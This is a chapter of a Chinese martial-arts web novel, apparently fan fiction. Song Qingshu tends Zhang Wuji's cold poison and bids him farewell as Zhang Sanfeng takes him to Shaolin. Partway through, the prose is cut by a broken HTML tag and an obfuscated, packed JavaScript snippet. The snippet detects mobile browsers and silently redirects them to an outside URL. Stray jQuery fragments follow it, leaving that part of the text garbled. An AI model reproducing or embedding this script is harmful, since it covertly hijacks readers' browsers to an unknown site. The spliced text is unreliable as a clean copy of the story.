自从那次醒来,宋青书便将自己活成了一只永不停歇的陀螺,每日往来穿梭于张无忌的住处、俞岱岩的卧房与藏经阁之间,脚不沾地。
经此一役,他也终于摸透了念力的门道,能自如地运转与回撤。
只是他很快发现,这念力于俞岱岩而言,终究只是治标不治本的辅助——头几日三叔的确舒坦了不少,可没过多久,经脉处的剧痛便再度袭来。
得知结果的那一刻,宋青书心里难免掠过一丝失落与沮丧,但转念一想,又很快释然。
若世间万事都这般轻易便能如愿,那又何须世人百般求索、步步跋涉呢?
宋青书依旧每隔两月便下山一趟,除了去看望母亲,还总不忘给张无忌带些糖人、小玩意儿。
有一回,他从袖中取出一卷画轴递给张无忌。
少年展开画卷,入眼便是一派朦胧的江南春景:烟雨笼罩的石桥下,满池荷花亭亭玉立,渡口边立着一位穿青布衫裙的妇人,眉眼温婉,正是他日思夜想的娘亲殷素素。
宋青书自然没错过每次下山时,张无忌那眼巴巴望着他的模样,那目光里藏着羡慕,也藏着一丝难以言说的黯然。
也正因如此,他才特意寻了镇上的画师,凭着张无忌的描述绘下这幅画。
“是我找画师画的,也不知道像不像。”宋青书轻声道,“你若是想妈妈了,便拿出来看一看。”
“像极了……谢谢青书哥哥。”张无忌喉间哽咽,几乎发不出声音。
日子便这般静谧地过了下去,除却张无忌偶尔寒毒发作,倒也算安稳。
张无忌依着张三丰所授的不全版九阳神功修炼,丹田中的氤氲紫气已小有成就,再加上宋青书的念力相助,每次发作总能勉强撑过去。
可即便如此,他脸上的青气还是一日重过一日,所受的煎熬也愈发剧烈,到了后来,连宋青书的念力也难以减轻半分苦楚,少年的身子终究是日渐憔悴下去。
山穷水尽之际,唯有思变。张三丰看着日渐衰弱的张无忌,终是痛下决心,决定带他前往嵩山少林寺。
一代宗师纵有万般不愿,此刻也只能无可奈何地向少林低头,为这苦命的孩子求一条生路。
深秋的武当山,晨雾浓得化不开,石板路上凝着一层湿冷的白霜。
山门前的空地上,那辆青帷小车已套好了马,呼吸间呵出的白气很快融进雾里。
张无忌裹在一件显然过于宽大的厚棉袍里,小脸苍白得近乎透明,唯有颧骨处因久病和低热,泛着两抹不祥的淡红。
张三丰的大手稳稳扶着他的胳膊,掌心传来的温度浑厚温和,是他此刻能抓住的、为数不多的实在依靠。
武当诸侠默然立在阶前。
宋远桥递上捆扎好的干粮药材,低声道:“师父,沿途所需都在这里了。”俞莲舟冷峻的眉眼间锁着深深的忧虑,张松溪将鼓囊囊的钱袋塞进张无忌怀里,殷梨亭已别过头去,眼眶通红。
张无忌的视线掠过这些熟悉的面容,心口那团酸楚慢慢涨满。最后,他的目光落在了人群稍后的那个青色身影上。
宋青书今日异常沉默。
晨雾濡湿了他额前的发,也让他深潭似的眸子显得更加幽暗。他站得笔直,目光与张无忌对上时,嘴角似乎想扯出一个让师弟安心的笑容,却只凝固成一丝极轻微的颤抖。
这个时间点比之那书里所写的似乎晚了一点,有可能是因为他用念力帮张无忌疗毒的缘故。
应该不会有什么影响吧?
他向前挪了半步,从怀中取出一个用油布包得严严实实的小小物事——正是那本张无忌盼了很久的游侠话本,塞进张无忌袖袋里。指尖冰凉,激得张无忌轻轻一颤。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109832|195845||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
“无忌,跟着太师父,一路要听话。”宋青书的目光垂下,落在张无忌苍白的手上,那手指因寒冷微微蜷着。“我……只恨自己学医日浅,读遍医书,试尽方子,空有念力,还是……还是拿你这寒毒没有办法。”最后几个字,几乎是从齿缝间挤出来的,带着深深的无力和自责。
张无忌的眼泪一下子冲了上来。他用力摇头,想说什么,喉头却哽住了。
宋青书吸了口气,再抬起眼时,眸子里有什么东西亮得灼人,语气却放得更缓、更重,像在下一道不容更改的誓言:“少林路远,但你记着,治好了病,就回来。武当山……我们……都在这儿等你。”
这句话彻底击碎了张无忌强撑的堤防。他猛地抓住宋青书即将抽回的袖口,冰凉的手因用力而泛白,仰起脸,泪水终于滚滚而下,声音破碎不成调:“青书哥哥……你、你会一直……等着我吗?”
雾霭浮动,山风也仿佛在这一刻凝滞。阶前诸侠静默,连马儿也停止了不安的踏蹄。
宋青书凝视着眼前这张被病痛和泪水浸透的小脸,没有片刻犹豫。他反手握住了那只冰冷颤抖的小手,用自己掌心的温度紧紧包裹住,一字一句,清晰无比地凿进浓雾与寒风里:
“我会的。”
两个字,斩钉截铁,没有任何修饰,却比任何长篇大论都更有力量。那是十七岁的少年能给出的、最郑重的承诺。
张三丰轻轻叹了口气,将张无忌小心扶上车辕。车轮开始碾过湿冷的石板,发出辘辘的闷响。
张无忌扒着车辕,拼命回过头。雾气在山门前流动,诸侠的身影渐渐模糊。唯有那袭青衫,定定地立在原地,仿佛真的成了一棵扎根在此、永不移动的青松,目光穿透逐渐拉远的距离,牢牢系在远去的车影上,越来越远,越来越淡,最终与武当山苍茫的秋色融为一体,再也看不见了。